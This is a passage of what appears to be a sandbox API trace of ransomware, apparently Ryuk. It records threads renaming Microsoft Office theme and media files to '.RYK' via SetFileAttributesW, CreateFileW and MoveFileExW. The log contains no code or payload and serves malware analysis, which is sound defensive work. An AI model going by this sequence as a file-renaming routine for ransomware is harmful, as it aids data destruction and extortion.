	[0275.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3759
	os_tid = 0x4030

	[0274.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml", dwFileAttributes=0x80) returned 0
	[0275.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3760
	os_tid = 0x4034

	[0274.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml", dwFileAttributes=0x80) returned 0
	[0274.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0274.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0274.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3761
	os_tid = 0x4038

	[0274.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml", dwFileAttributes=0x80) returned 0
	[0275.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3762
	os_tid = 0x403c

	[0274.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml", dwFileAttributes=0x80) returned 0
	[0275.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3763
	os_tid = 0x4040

	[0274.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml", dwFileAttributes=0x80) returned 0
	[0275.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3764
	os_tid = 0x4044

	[0274.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml", dwFileAttributes=0x80) returned 0
	[0275.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3765
	os_tid = 0x4048

	[0274.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml", dwFileAttributes=0x80) returned 0
	[0275.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3766
	os_tid = 0x404c

	[0274.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml", dwFileAttributes=0x80) returned 0
	[0275.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3767
	os_tid = 0x4050

	[0275.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", dwFileAttributes=0x80) returned 0
	[0275.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.814] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3782
	os_tid = 0x409c

	[0275.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml", dwFileAttributes=0x80) returned 0
	[0275.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3783
	os_tid = 0x40a0

	[0275.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml", dwFileAttributes=0x80) returned 0
	[0276.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3806
	os_tid = 0x4104

	[0276.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx", dwFileAttributes=0x80) returned 0
	[0276.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3807
	os_tid = 0x4108

	[0276.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx", dwFileAttributes=0x80) returned 0
	[0276.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3808
	os_tid = 0x410c

	[0276.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx", dwFileAttributes=0x80) returned 0
	[0276.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3809
	os_tid = 0x4110

	[0276.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx", dwFileAttributes=0x80) returned 0
	[0276.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3810
	os_tid = 0x4114

	[0276.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML", dwFileAttributes=0x80) returned 0
	[0276.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.669] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3811
	os_tid = 0x4118

	[0276.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW", dwFileAttributes=0x80) returned 0
	[0276.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.671] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3812
	os_tid = 0x411c

	[0276.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV", dwFileAttributes=0x80) returned 0
	[0276.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3813
	os_tid = 0x4120

	[0276.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF", dwFileAttributes=0x80) returned 0
	[0276.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3814
	os_tid = 0x4124

	[0276.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF", dwFileAttributes=0x80) returned 0
	[0276.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3815
	os_tid = 0x4128

	[0276.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF", dwFileAttributes=0x80) returned 0
	[0276.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3816
	os_tid = 0x412c

	[0276.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF", dwFileAttributes=0x80) returned 0
	[0277.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3818
	os_tid = 0x4134

	[0276.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF", dwFileAttributes=0x80) returned 0
	[0277.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3819
	os_tid = 0x4138

	[0276.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF", dwFileAttributes=0x80) returned 0
	[0277.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3820
	os_tid = 0x413c

	[0276.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF", dwFileAttributes=0x80) returned 0
	[0277.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3821
	os_tid = 0x4140

	[0276.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF", dwFileAttributes=0x80) returned 0
